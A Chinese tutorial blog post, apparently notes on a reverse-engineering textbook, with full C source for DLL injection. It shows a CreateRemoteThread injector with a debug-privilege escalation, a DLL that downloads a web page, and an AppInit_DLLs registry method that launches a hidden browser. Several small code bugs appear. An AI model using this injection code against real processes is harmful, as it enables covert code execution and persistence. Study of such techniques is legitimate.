1. 程式人生 > >逆向工程核心原理之DLL注入

逆向工程核心原理之DLL注入

DLL注入三種方法:

使用LoadLibrary載入某個DLL時,該DLL中的DllMain函式就會被呼叫執行。

1.建立遠端執行緒(CreateRemoteThread)

使用InjectDll.exe在notepad.exe中注入Myhack.dll(winxp提權後測試成功)




InjectDll.exe原始碼
// InjectDll.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>


BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        return FALSE;
    } 

    return TRUE;
}
//LPCTSTR用來表示你的字元是否使用UNICODE
BOOL InjectDll(DWORD dwPID,LPCTSTR szDllPath)
{
	HANDLE hProcess=NULL,hThread=NULL;
	HMODULE hMod=NULL;
	LPVOID pRemoteBuf=NULL;
	DWORD dwBufSize=(DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR);
	//LPTHREAD_START_ROUTINE函式指標指向一個函式,該函式通知宿主某個執行緒已開始執行。.NET Framework 4 版 中已棄用此函式指標。
	LPTHREAD_START_ROUTINE pThreadProc;


	//1.使用dwPID獲取目標程序控制代碼(notepad.exe)
	if(!(hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID)))
	{
		//printf的寬字元版
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError());
		return FALSE;
	}
	
	//2.在目標程序notepad.exe記憶體中分配szDllName大小的記憶體
	if(!(pRemoteBuf=VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE)))
	{
		_tprintf(L"分配地址失敗!!![%d]\n",GetLastError());
	}

	//3.將myhack.dll路徑寫入分配的記憶體
	if(!(WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL)))
	{
		_tprintf(L"寫入記憶體失敗!!![%d]\n",GetLastError);
	}

	//4.獲取LoadLibraryW的地址
	hMod=GetModuleHandle(L"kernel32.dll");
	if(!(pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW")))
	{
		_tprintf(L"獲取LoadLibraryW地址失敗!!![%d]\n",GetLastError);
	}

	//5.在notepad.exe程序中執行執行緒
	if(!(hThread=CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL)))
	{
		_tprintf(L"執行執行緒失敗!!![%d]\n",GetLastError);
	}

	// If dwMilliseconds is INFINITE, the function will return only when the object is signaled.
	WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);

	return TRUE;


}

int _tmain(int argc, TCHAR* argv[])
{
	if(argc!=3)
	{
		_tprintf(L"USAGE: %s pid dll_path\n",argv[0]);
		return 1;
	}
	    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
        return 1;

	//inject dll
	if(InjectDll((DWORD)_tstol(argv[1]),argv[2]))
		_tprintf(L"InjectDll(\"%s\")success!!!\n",argv[2]);
	else
		_tprintf(L"InjectDll(\"%s\")failed!!!\n",argv[2]);
	return 0;
}
Myhack.dll原始碼
// Myhack.cpp : Defines the exported functions for the DLL application.
//

#include "stdafx.h"

#include <stdio.h>
#include <tchar.h>
#include <UrlMon.h>
#include<Windows.h>
// a sample exported function
#pragma comment(lib,"urlmon.lib")

#define DEF_URL (L"http://www.xinhuanet.com/comments/2018-03/20/c_1122561057.htm")
#define DEF_FILE_NAME   (L"c_1122561057.htm")

HMODULE g_hMod=NULL;

//LPVOID是一個沒有型別的指標,可以將LPVOID型別的變數賦值給任意型別的指標
DWORD WINAPI ThreadProc(LPVOID lParam)
{
    //程式編譯為 ANSI, TCHAR 就是相當於 CHAR,當程式編譯為 UNICODE, TCHAR 就相當於 WCHAR.為了讓編譯器識別Unicode字串,必須以在前面加一個“L”,
    //_MAX_PATH是C語言執行時庫中通過#define指令定義的一個巨集常量,它定義了編譯器所支援的最長全路徑名的長度。
    TCHAR szPath[_MAX_PATH]={0,};
    if(!GetModuleFileName(g_hMod,szPath,MAX_PATH))
        return FALSE;
    //從一個字串中查詢字元
    TCHAR *p=_tcsrchr(szPath,'\\');
    if(!p)
        return FALSE;

    //生成檔案儲存的路徑,將index.html加在當前檔案所在路徑的後面
   _tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME);
    //下載檔案儲存在index.html中
    URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL);

    return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    HANDLE hThread=NULL;

    g_hMod=(HMODULE)hinstDLL;
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // attach to process
            // return FALSE to fail DLL load
            OutputDebugString(L"myhack.dll Injection!!!");
            hThread=CreateThread(NULL,0,ThreadProc,NULL,0,NULL);
            CloseHandle(hThread);
            break;

    }
    return TRUE; // succesful
}
2.使用登錄檔(AppInit_DLLs值)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows下AppInit_DLLs的值改為myhack2.dll的路徑。LoadAppInit_DLLs的值改為1.


重啟計算機。然後開啟notepad.exe




Myhack2.dll原始碼(得加上提權的部分,不然無法注入)

// myhack2.cpp : Defines the exported functions for the DLL application.
//

#include "stdafx.h"

#include <windows.h>
#include <tchar.h>
#include<stdio.h>
#define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://www.baidu.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        return FALSE;
    } 

    return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    TCHAR szCmd[MAX_PATH]={0,};
    TCHAR szPath[MAX_PATH]={0,};
    TCHAR *p=NULL;
    //指定新程序的主視窗特性的一個結構
    STARTUPINFO si={0,};
    //在建立程序時相關的資料結構之一,該結構返回有關新程序及其主執行緒的資訊。
    PROCESS_INFORMATION pi={0,};

    si.cb=sizeof(STARTUPINFO);
    si.dwFlags=STARTF_USESHOWWINDOW;
    si.wShowWindow=SW_HIDE;


    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
				    // change privilege
			if( !SetPrivilege(SE_DEBUG_NAME, TRUE))
				return 1;
            if(!GetModuleFileName(NULL,szPath,MAX_PATH))
                break;

            if (!(p=_tcsrchr(szPath,'\\')))
                break;

            if(_tcsicmp(p+1,DEF_DST_PROC))
                break;

            wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR);


            //LPTSTR表示指向字元/字串的指標。
            if(!CreateProcess(NULL,(LPTSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
                break;

            if(pi.hProcess!=NULL)
                CloseHandle(pi.hProcess);

            break;

    }
}
3.訊息鉤取(SetWindowsHookEx)